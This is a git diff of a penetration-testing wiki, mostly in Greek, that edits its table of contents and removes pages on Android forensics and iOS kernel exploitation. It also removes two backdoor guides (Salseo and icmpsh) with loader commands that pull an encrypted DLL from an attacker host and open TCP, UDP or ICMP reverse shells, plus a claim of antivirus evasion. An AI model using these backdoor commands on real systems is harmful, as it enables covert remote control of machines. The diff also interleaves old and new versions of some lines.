# 🪟 Windows Hardening
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -248,6 +251,7 @@
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
@ -330,7 +334,7 @@
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
@ -388,6 +392,7 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@ -398,7 +403,6 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
@ -430,7 +434,7 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
@ -438,6 +442,7 @@
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
@ -582,6 +587,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@ -609,6 +615,7 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
@ -641,6 +648,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -664,6 +672,7 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
@ -845,13 +854,14 @@
# ✍️ TODO
- [Other Big References](todo/references.md)
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@ -878,8 +888,6 @@
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
- [TR-069](todo/tr-069.md)
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
@ -887,3 +895,11 @@
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -1,27 +0,0 @@
# Android Forensics
{{#include ./banners/hacktricks-training.md}}
## Κλειδωμένη Σ συσκευή
Για να ξεκινήσετε την εξαγωγή δεδομένων από μια συσκευή Android, πρέπει να είναι ξεκλειδωμένη. Αν είναι κλειδωμένη, μπορείτε να:
- Ελέγξετε αν η συσκευή έχει ενεργοποιημένη την αποσφαλμάτωση μέσω USB.
- Ελέγξετε για μια πιθανή [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Δοκιμάστε με [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Απόκτηση Δεδομένων
Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξαγάγετέ το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### Αν έχετε πρόσβαση root ή φυσική σύνδεση στη διεπαφή JTAG
- `cat /proc/partitions` (αναζητήστε τη διαδρομή στη μνήμη flash, γενικά η πρώτη καταχώρηση είναι _mmcblk0_ και αντιστοιχεί σε ολόκληρη τη μνήμη flash).
- `df /data` (Ανακαλύψτε το μέγεθος μπλοκ του συστήματος).
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συλλέξατε από το μέγεθος μπλοκ).
### Μνήμη
Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξαγάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,25 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Κατεβάστε το backdoor από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
Εκτελέστε το σενάριο: **run.sh**
**Αν λάβετε κάποιο σφάλμα, προσπαθήστε να αλλάξετε τις γραμμές:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**Για:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Πλευρά Θύματος**
Ανεβάστε **icmpsh.exe** στο θύμα και εκτελέστε:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,158 +0,0 @@
# Salseo
{{#include ../banners/hacktricks-training.md}}
## Συγκέντρωση των δυαδικών αρχείων
Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε το **EvilSalsa** και το **SalseoLoader**. Θα χρειαστείτε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα.
Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική της Windows συσκευής όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές).
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στην **"Platform Target".**
(**Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και στη συνέχεια στην **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Στη συνέχεια, κατασκευάστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Προετοιμάστε το Backdoor
Πρώτα απ' όλα, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Εντάξει, τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλα τα πράγματα του Salseo: το **encoded EvilDalsa.dll** και το **binary of SalseoLoader.**
**Ανεβάστε το SalseoLoader.exe binary στη μηχανή. Δεν θα πρέπει να ανιχνευτούν από κανένα AV...**
## **Εκτέλεση του backdoor**
### **Λήψη ενός TCP reverse shell (κατεβάζοντας το encoded dll μέσω HTTP)**
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν HTTP server για να σερβίρετε το encoded evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Λήψη ενός UDP reverse shell (κατέβασμα κωδικοποιημένου dll μέσω SMB)**
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν SMB server για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Λήψη ICMP reverse shell (κωδικοποιημένο dll ήδη μέσα στον θύμα)**
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το reverse shell. Κατεβάστε:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Απενεργοποίηση Απαντήσεων ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Εκτέλεση του πελάτη:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Μέσα στον θύμα, ας εκτελέσουμε το salseo πράγμα:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Συγκέντρωση του SalseoLoader ως DLL που εξάγει τη βασική λειτουργία
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
### Προσθέστε πριν από τη βασική λειτουργία: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Εγκαταστήστε το DllExport για αυτό το έργο
#### **Εργαλεία** --> **Διαχειριστής Πακέτων NuGet** --> **Διαχείριση Πακέτων NuGet για τη Λύση...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτησης) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Στο φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport_Configure.bat**
### **Α**πεγκαταστήστε το DllExport
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Έξοδος από το Visual Studio και εκτέλεση του DllExport_configure**
Απλά **έξοδος** από το Visual Studio
Στη συνέχεια, πηγαίνετε στο **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport_Configure.bat**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτό ήταν η περίπτωση μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace για DllExport**) και πατήστε **Εφαρμογή**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Ανοίξτε ξανά το έργο με το Visual Studio**
**\[DllExport]** δεν θα πρέπει πλέον να επισημαίνεται ως σφάλμα
![](<../images/image (8) (1).png>)
### Δημιουργία της λύσης
Επιλέξτε **Τύπος Έξοδου = Βιβλιοθήκη Κλάσης** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη Κλάσης)
![](<../images/image (10) (1).png>)
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Δημιουργία --> Στόχος πλατφόρμας = x64)
![](<../images/image (9) (1) (1).png>)
Για να **δημιουργήσετε** τη λύση: Δημιουργία --> Δημιουργία Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή της νέας DLL)
### Δοκιμάστε την παραγόμενη DLL
Αντιγράψτε και επικολλήστε την DLL όπου θέλετε να τη δοκιμάσετε.
Εκτελέστε:
```
rundll32.exe SalseoLoader.dll,main
```
Αν δεν εμφανιστεί σφάλμα, πιθανότατα έχετε μια λειτουργική DLL!!
## Αποκτήστε ένα shell χρησιμοποιώντας τη DLL
Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **server** και να ρυθμίσετε έναν **nc** **listener**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1 +1,3 @@
# Αυθαίρετη Γραφή 2 Εκτέλεση
# Arbitrary Write 2 Exec
{{#include /banners/hacktricks-training.md}}

View File

@ -1,87 +1,89 @@
# iOS Exploiting
## Physical use-after-free
{{#include /banners/hacktricks-training.md}}
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον, περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
## Φυσική χρήση μετά από απελευθέρωση
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
### Διαχείριση μνήμης στο XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
#### Levels of Page Tables in iOS
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
#### Επίπεδα Πινάκων Σελίδων στο iOS
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
1. **L1 Page Table (Επίπεδο 1)**:
1. **Πίνακας Σελίδων L1 (Επίπεδο 1)**:
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
* Καλύπτει **0x1000000000 bytes****256 GB**) εικονικής μνήμης.
2. **L2 Page Table (Επίπεδο 2)**:
2. **Πίνακας Σελίδων L2 (Επίπεδο 2)**:
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
3. **L3 Page Table (Επίπεδο 3)**:
3. **Πίνακας Σελίδων L3 (Επίπεδο 3)**:
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης.
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
#### Mapping Virtual to Physical Memory
#### Αντιστοίχιση Εικονικής σε Φυσική Μνήμη
* **Direct Mapping (Block Mapping)**:
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων **αντιστοιχούν άμεσα σε ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
* **Pointer to Child Page Table**:
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών** στο επόμενο επίπεδο (π.χ., L2).
* **Άμεση Αντιστοίχιση (Block Mapping)**:
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε ένα συνεχόμενο εύρος φυσικών διευθύνσεων (όπως μια συντόμευση).
* **Δείκτης σε Παιδικό Πίνακα Σελίδων**:
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2).
#### Example: Mapping a Virtual Address
#### Παράδειγμα: Αντιστοίχιση Εικονικής Διεύθυνσης
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στην εικονική διεύθυνση **0x1000000000**:
1. **L1 Table**:
* Ο kernel ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
2. **L2 Table**:
* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
3. **L3 Table**:
* Ο kernel αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
1. **Πίνακας L1**:
* Ο πυρήνας ελέγχει την εγγραφή του πίνακα σελίδων L1 που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα σελίδων L2**, πηγαίνει σε αυτόν τον πίνακα L2.
2. **Πίνακας L2**:
* Ο πυρήνας ελέγχει τον πίνακα σελίδων L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα σελίδων L3**, προχωρά εκεί.
3. **Πίνακας L3**:
* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
#### Example of Address Mapping
#### Παράδειγμα Αντιστοίχισης Διεύθυνσης
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
* Αυτό είναι μια **block mapping** στο επίπεδο L2.
* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2.
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.
* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.
### Physical use-after-free
### Φυσική χρήση μετά από απελευθέρωση
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
Μια **φυσική χρήση μετά από απελευθέρωση** (UAF) συμβαίνει όταν:
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**.
4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**.
6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**.
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**.
### Exploitation Strategy: Heap Spray
### Στρατηγική Εκμετάλλευσης: Heap Spray
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel.
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα.
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface έχει προσγειωθεί σε μια ελεύθερη σελίδα.
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν τη μνήμη του kernel**.
3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελεύθερη σελίδα.
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**.
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Διαδικασία Heap Spray Βήμα προς Βήμα
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή").
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
